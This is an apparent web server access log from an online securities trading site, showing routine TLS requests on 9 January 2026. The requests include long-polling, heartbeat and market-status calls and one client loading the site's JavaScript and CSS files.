[09/Jan/2026:12:12:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932200120 HTTP/1.1" -
[09/Jan/2026:12:12:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932198793 HTTP/1.1" -
[09/Jan/2026:12:12:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932200329 HTTP/1.1" -
[09/Jan/2026:12:12:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932200330 HTTP/1.1" -
[09/Jan/2026:12:12:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932202240 HTTP/1.1" -
[09/Jan/2026:12:12:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932203303 HTTP/1.1" -
[09/Jan/2026:12:12:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932203326 HTTP/1.1" -
[09/Jan/2026:12:12:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932203958 HTTP/1.1" -
[09/Jan/2026:12:12:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932205335 HTTP/1.1" -
[09/Jan/2026:12:12:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932206327 HTTP/1.1" -
[09/Jan/2026:12:12:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932206327 HTTP/1.1" -
[09/Jan/2026:12:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932207287 HTTP/1.1" -
[09/Jan/2026:12:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932208477 HTTP/1.1" -
[09/Jan/2026:12:12:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932209332 HTTP/1.1" -
[09/Jan/2026:12:12:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932209035 HTTP/1.1" -
[09/Jan/2026:12:12:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932210537 HTTP/1.1" -
[09/Jan/2026:12:12:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932212322 HTTP/1.1" -
[09/Jan/2026:12:12:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932212335 HTTP/1.1" -
[09/Jan/2026:12:12:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932212336 HTTP/1.1" -
[09/Jan/2026:12:12:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932213713 HTTP/1.1" -
[09/Jan/2026:12:12:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932215324 HTTP/1.1" -
[09/Jan/2026:12:12:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932214214 HTTP/1.1" -
[09/Jan/2026:12:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932215707 HTTP/1.1" -
[09/Jan/2026:12:12:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932217347 HTTP/1.1" -
[09/Jan/2026:12:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:12:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932218336 HTTP/1.1" -
[09/Jan/2026:12:12:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932218336 HTTP/1.1" -
[09/Jan/2026:12:12:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932218832 HTTP/1.1" -
[09/Jan/2026:12:12:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932219271 HTTP/1.1" -
[09/Jan/2026:12:12:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932220904 HTTP/1.1" -
[09/Jan/2026:12:12:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932221324 HTTP/1.1" -
[09/Jan/2026:12:12:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932222391 HTTP/1.1" -
[09/Jan/2026:12:12:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932224128 HTTP/1.1" -
[09/Jan/2026:12:12:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932224339 HTTP/1.1" -
[09/Jan/2026:12:12:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932224339 HTTP/1.1" -
[09/Jan/2026:12:12:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:12:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:12:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932224437 HTTP/1.1" -
[09/Jan/2026:12:12:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932226007 HTTP/1.1" -
[09/Jan/2026:12:12:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932227431 HTTP/1.1" -
[09/Jan/2026:12:12:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932227329 HTTP/1.1" -
[09/Jan/2026:12:12:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932229265 HTTP/1.1" -
[09/Jan/2026:12:12:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932230340 HTTP/1.1" -
[09/Jan/2026:12:12:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932230340 HTTP/1.1" -
[09/Jan/2026:12:12:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932229530 HTTP/1.1" -
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932231128 HTTP/1.1" -
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:12:12:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:12:12:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932232477 HTTP/1.1" -
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:12:12:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
